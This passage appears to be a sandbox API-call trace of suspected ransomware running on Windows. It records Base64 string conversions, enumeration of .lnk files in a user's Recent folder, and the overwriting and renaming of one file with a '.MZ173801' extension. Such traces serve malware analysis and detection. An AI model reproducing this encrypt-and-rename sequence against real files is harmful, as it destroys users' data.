DA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.686] GetCurrentThreadId () returned 0x9fc [0120.686] GetCurrentThreadId () returned 0x9fc [0120.686] GetCurrentThreadId () returned 0x9fc [0120.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.687] GetCurrentThreadId () returned 0x9fc [0120.687] GetCurrentThreadId () returned 0x9fc [0120.687] GetCurrentThreadId () returned 0x9fc [0120.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4MEDSGumwQmrlccZ3NM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4medsgumwqmrlccz3nm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.687] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.687] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.687] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1382 [0120.687] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.687] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1382, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1382, lpOverlapped=0x0) returned 1 [0120.688] CloseHandle (hObject=0x288) returned 1 [0120.688] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4MEDSGumwQmrlccZ3NM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4medsgumwqmrlccz3nm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.689] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1382, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1382, lpOverlapped=0x0) returned 1 [0120.690] CloseHandle (hObject=0x288) returned 1 [0120.691] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4MEDSGumwQmrlccZ3NM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4medsgumwqmrlccz3nm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4MEDSGumwQmrlccZ3NM.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4medsgumwqmrlccz3nm.lnk.mz173801")) returned 1 [0120.692] GetCurrentThreadId () returned 0x9fc [0120.692] GetCurrentThreadId () returned 0x9fc [0120.692] GetCurrentThreadId () returned 0x9fc [0120.692] GetCurrentThreadId () returned 0x9fc [0120.692] GetCurrentThreadId () returned 0x9fc [0120.692] GetCurrentThreadId () returned 0x9fc [0120.692] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb2c860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb2c860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb529c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa89, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="4WaQPnQL8V4OHzH6IhlG.lnk", cAlternateFileName="4WAQPN~1.LNK")) returned 1 [0120.692] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.692] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4WaQPnQL8V4OHzH6IhlG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4waqpnql8v4ohzh6ihlg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb2c860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb2c860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb529c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa89)) returned 1 [0120.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.695] GetCurrentThreadId () returned 0x9fc [0120.695] GetCurrentThreadId () returned 0x9fc [0120.695] GetCurrentThreadId () returned 0x9fc [0120.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 